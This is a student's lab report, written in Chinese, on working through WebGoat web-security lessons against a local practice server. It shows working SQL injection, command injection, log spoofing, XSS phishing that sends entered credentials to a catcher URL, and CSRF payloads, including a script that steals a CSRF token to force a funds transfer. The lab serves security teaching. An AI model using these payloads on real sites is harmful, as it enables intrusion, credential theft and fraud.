2018-2019-2 20165330《網絡對抗技術》Exp9 Web安全基礎

目錄


實驗目的

  • 本實踐的目標理解經常使用網絡攻擊技術的基本原理。

返回目錄javascript


實驗內容

  • WebGoat準備工做
  • SQL注入攻擊
    • 命令注入(Command Injection)
    • 數字型SQL注入(Numeric SQL Injection)
    • 日誌欺騙(Log Spoofing)
    • 字符串型注入(String SQL Injection)
    • LAB: SQL Injection
    • 數據庫後門(Database Backdoors)
    • 數字型盲注入(Blind Numeric SQL Injection)
    • 字符串型盲注入(Blind String SQL Injection)
  • XSS攻擊
    • Phishing with XSS 跨站腳本釣魚攻擊
    • Stored XSS Attacks 存儲型XSS攻擊
    • Reflected XSS Attacks 反射型XSS攻擊
  • CSRF攻擊
    • Cross Site Request Forgery(CSRF)
    • CSRF Prompt By-Pass
    • CSRF Token By-Pass

返回目錄html


基礎問題

  • SQL注入攻擊原理,如何防護java

    • SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做。如經過在用戶名、密碼登輸入框中輸入一些'--#等特殊字符,實現引號閉合、註釋部分SQL語句,利用永真式實現登陸、顯示信息等目的。
    • 防護:
      • 檢查變量數據類型和格式
      • 對沒法肯定固定格式的變量,進行特殊符號過濾或轉義處理
      • 綁定變量,使用預編譯語句
  • XSS攻擊的原理,如何防護linux

    • 全稱爲跨站腳本攻擊,是一種網站應用程序的安全漏洞攻擊。攻擊者經過往Web頁面裏插入惡意html標籤或者javascript代碼,當用戶瀏覽該頁或者進行某些操做時,利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操做或者向其它網站提交用戶的私密信息。
    • 防護:
      • 在表單提交或者url參數傳遞前,對須要的參數進行過濾
      • 檢查用戶輸入的內容中是否有非法內容
  • CSRF攻擊原理,如何防護git

    • 全程爲跨站域請求僞造,攻擊者借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。CSRF攻擊中的那個「僞造的請求」的URL地址,通常是經過XSS攻擊來注入到服務器中的。因此其實CSRF能夠看作是XSS攻擊的一種。
    • CSRF的攻擊分爲兩步,首先要注入惡意URL地址,而後在該地址中寫入攻擊代碼,利用<img>等標籤或者使用Javascript腳本。
    • 防護:
      • 經過referer、token或者驗證碼來檢測用戶提交
      • 儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做
      • 避免全站通用的cookie,嚴格設置cookie的域

返回目錄github


實驗步驟

1、WebGoat準備工做

WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。其運行在帶有java虛擬機的平臺之上,並提供了一系列web安全學習的教程,來指導用戶利用這些漏洞進行攻擊。web

  • 下載jar包:webgoat-container-7.0.1-war-exec.jar
    image
    這個下載好慢。。遲遲下不下來的我下載了webgoat-container-7.0-SNAPSHOT-war-exec.jar也是能夠進行後續實驗的!!
  • 終止佔用8080端口的其餘進程
    • 由於WebGoat默認使用8080端口
    • 先查看8080端口是否被佔用:netstat -tupln | grep 8080
    • 若是被佔用,用kill 進程號kill -s 9 進程號終止佔用8080端口的進程
  • 查看是否安裝有JDK:java -version查看jdk版本
    image
  • 開啓WebGoat:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
    • 在看到信息Starting ProtocolHandler ["http-bio-8080"]這一條消息以後就能夠進行下一步了~
  • 瀏覽器中打開WebGoat登陸界面:http://localhost:8080/WebGoat(在界面裏咱們能夠看到給出了兩組用戶名和密碼,能夠直接使用登錄)
    image
  • 成功登陸後可在左側看到實踐課程
    image

2、SQL注入攻擊

1. 命令注入(Command Injection)

目標:可以在目標主機上執行任何系統命令sql

  • 點擊Injection Flaws-Command Injection
  • 右鍵點擊複選框,選擇inspect Element審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"
    image
  • 點擊view,可查看到命令執行結果
    image
  • 正常的結果是這樣的
    image
2. 數字型SQL注入(Numeric SQL Injection)

目標:顯示天氣狀況數據庫

  • 點擊Injection Flaws-Numeric SQL Injection
  • 右鍵點擊複選框,選擇inspect Element審查網頁元素對源代碼value="101"進行修改,在城市編號101後面添加or 1=1
    image
  • 點擊Go,能夠看到攻擊成功
    image
    左上角的符號代表作對了~
3. 日誌欺騙(Log Spoofing)

目標:使用戶名爲admin的用戶在日誌中顯示成功登陸後端

  • 點擊Injection Flaws-Log Spoofing
  • User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回車0D%和換行符%0A讓其在日誌中兩行顯示
  • 輸入密碼後點擊Login,能夠看到webgoatLogin Fail那行顯示,咱們本身添加的語句在下一行顯示
    image
  • 此外,攻擊者能夠向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。
    • 在用戶名中輸入admin <script>alert(document.cookie)</script>,管理員能夠看到彈窗的cookie信息
4. 字符串型注入(String SQL Injection)

目標:基於查詢語句構造本身的SQL 注入字符串將全部信用卡信息顯示出來。

  • 點擊Injection Flaws-String SQL Injection
  • 輸入查詢的用戶名Smith' or 1=1--
    • 操做中咱們使用了'提早閉合"",插入永真式1=1,且--註釋掉後面的內容,這樣就能select表裏面的全部數據
    • 結果以下:
      image
5. LAB: SQL Injection

使用SQL注入繞過認證。

  • 在密碼框輸入' or 1=1 --,登陸失敗,會發現密碼只有一部分輸入,說明密碼長度有限制。
    image
  • 咱們在密碼框右鍵選擇inspect Element審查網頁元素對長度進行修改
    image
  • 從新輸入' or 1=1 --,登陸成功
    image
6. 數據庫後門(Database Backdoors)

數據庫一般做爲一個Web應用程序的後端來使用。此外,它也用來做爲存儲的媒介。它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另外一個數據庫操做,如insert,select,update or delete。
攻擊者能夠建立一個觸發器,該觸發器在建立新用戶時,將每一個新用戶的Email 地址設置爲攻擊者的地址。

  • 輸入101,獲得該用戶的信息
    image
    能夠發現,輸入的語句沒有驗證,很容易進行 SQL 注入。
  • 輸入注入語句101; update employee set salary=10000(這裏執行了兩個語句,中間須要用分號分隔)
    image
  • 設置觸發器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
    image
  • 因爲WebGoat 使用的是MySQL數據庫,不支持觸發器,所以該課程並不能在這裏真正實現。
7. 數字型盲注入(Blind Numeric SQL Injection)

某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。

  • 服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的PIN 數值。儘管如此,咱們能夠利用系統後臺在用的查詢語句:SELECT * FROM user_data WHERE userid=accountNumber;
    • 若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。
  • 使用AND函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬號有效,不然無效:

    101 AND 1=1
    101 AND 1=2`
    第一個語句中,兩個條件都成立,因此頁面返回Account number is valid;而第二條則返回賬號無效
  • 如今針對查詢語句的後半部分構造複雜語句。下面的語句能夠告訴咱們PIN數值是否大於10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
    • 若是頁面提示賬號有效,說明PIN>10000 不然 PIN<=10000
  • 不斷調整數值,能夠縮小判斷範圍,並最終判斷出PIN 數值的大小。最終以下語句返回賬號有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
  • 在查詢框中輸入2364並提交
    image

8. 字符串型盲注入(Blind String SQL Injection)

目標:找到pins表中cc_number字段值爲4321432143214321的記錄中pin字段的數值。pin字段類型爲varchar。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交。

  • 這裏咱們查詢的字段是一個字符串而不是數值,與上一節相似咱們一樣能夠經過注入的方式查找到該字段的值:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
    (該語句使用了SUBSTRING 方法,取得pin 字段數值的第一個字母,並判斷其是否比字母「H」小。)
  • 通過屢次測試(比較0-9A-Za-z等字符串)和頁面的返回數據,判斷出第一個字符爲J。同理繼續判斷第二個字符:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
  • 最終,判斷出pin字段的值爲Jill,提交該值。
    image

3、XSS攻擊

1. Phishing with XSS 跨站腳本釣魚攻擊

在XSS的幫助下,咱們能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。目標是建立一個form,要求填寫用戶名和密碼。

  • 一個帶用戶名和密碼輸入框的表格以下:

    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
  • XSS-Phishing with XSS搜索上面代碼,能夠看到頁面中增長了一個表單
    image
  • 如今咱們須要一段腳本:

    <script>
    function hack()
    { 
        alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
        XSSImage=new Image; 
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
    • 這段代碼會讀取咱們在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的WebGoat。
  • 將上面兩段代碼合併搜索

    <script>
    function hack()
    { 
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
      XSSImage=new Image; 
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    } 
    </script>
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form><br><br><HR>
  • 咱們在搜索到的表單中輸入用戶名和密碼,點擊登陸,WebGoat會將輸入的信息捕獲並反饋給咱們。
    image

2. Stored XSS Attacks 存儲型XSS攻擊

目標:建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。

  • 在Message中構造語句<script>alert("20165330 attack succeed!");</script>,Title任意輸入。提交後可發現剛建立的帖子5330
  • 點擊5330,而後會彈出一個對話框,證實XSS攻擊成功。
    image
3. Reflected XSS Attacks 反射型XSS攻擊

XSS反射型攻擊,惡意代碼並無保存在目標網站,經過引誘用戶點擊一個連接到目標網站的惡意連接來實施攻擊的。

  • Enter your three digit access code:中輸入<script>alert("I am 20165330");</script>點擊Purchase,成功顯示警告框,內容爲咱們script腳本指定的內容。
    image
  • 若咱們輸入上一課程的腳本,其原理相同,也會成功。
    image

4、CSRF攻擊

1. Cross Site Request Forgery(CSRF)

CSRF經過假裝來自受信任用戶的請求來利用受信任的網站。目標:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。

  • 點擊XSS-Cross Site Request Forgery(CSRF)
  • 查看頁面右下方Parameters中的src和menu值,個人分別爲309900
  • 在Message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交(其中語句中的&transferFunds=5000,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片)
  • 輸入任意Title,提交後,在Message List中生成以Title命名的連接(消息)。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。
    image
2. CSRF Prompt By-Pass
  • 點擊XSS-CSRF Prompt By-Pass
  • 同上面的攻擊,查看頁面右下方的Parameters中的src和menu值,個人分別爲320和900,並輸入任意的Title,message框中輸入代碼

    <iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
  • 點擊Submit生成以Title命名的連接,點擊連接,攻擊成功
    image

3. CSRF Token By-Pass

目標是向包含惡意轉帳請求的新聞組發送電子郵件。要成功完成,須要獲取有效的請求令牌。顯示轉帳表單的頁面包含有效的請求令牌。轉帳頁面的URL是「攻擊」servlet,帶有本課的「屏幕」和「菜單」查詢參數以及額外的參數「transferFunds=main」。加載此頁面,讀取令牌並將令牌附加到僞造的請求中,以轉移資金

  • 點擊XSS-CSRF Token By-Pass
  • 查看網頁http://local host:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main生成的資金轉帳頁面的表單內容。
    image
  • 右鍵查看源代碼,能夠看到Token參數
    <form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/728/900' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='79375628'> <input type='submit'> </form>
  • 結合上面的token值構造僞造的URL,附加轉帳參數4000。下面是我從網上教程中找到的一段代碼,經過frame->forme的路徑能夠讀取並保存CSRFToken參數:

    <script>
    var tokenvalue;
    // Step 2 :竊取token
    function readFrame1()
    {
       var frameDoc = document.getElementById("frame1").contentDocument;
       var form = frameDoc.getElementsByTagName("form")[1];
       var token = form.CSRFToken.value;
       tokenvalue = '&CSRFToken='+token;    
       loadFrame2();
    }
    //Step 3 :結合token值構造僞造的URL,附加轉帳參數4000
    function loadFrame2()
    {
       var testFrame = document.getElementById("frame2");
       testFrame.src="?transferFunds=4000"+tokenvalue;   
    }
    </script>
    <!-- Step 1 :給出的是正常的頁面,其實已經加載了一個js腳本,來獲取token-->
    <iframe  src="http://localhost:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>
    <!-- Step 4 :將構造的URL發送給Server並生效-->
    <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>
  • 點擊Submit後查看以Title命名的連接
    image
    不知道爲啥個人顯示是這樣的。。。

返回目錄


實驗總結與體會

  • 本次實踐都是在webgoat上完成,就相似之前接觸的實驗樓,都有指導,這也加深了我對XSS攻擊、SQL注入以及CSRF攻擊的理解。雖然一開始下載jar包就用了很久時間,但對於行不通的方法真的要好好找資料換其餘可行的方法,實踐不止侷限於課程中的指導,不斷地查資料會讓本身瞭解的更全面!

參考資料

相關文章
相關標籤/搜索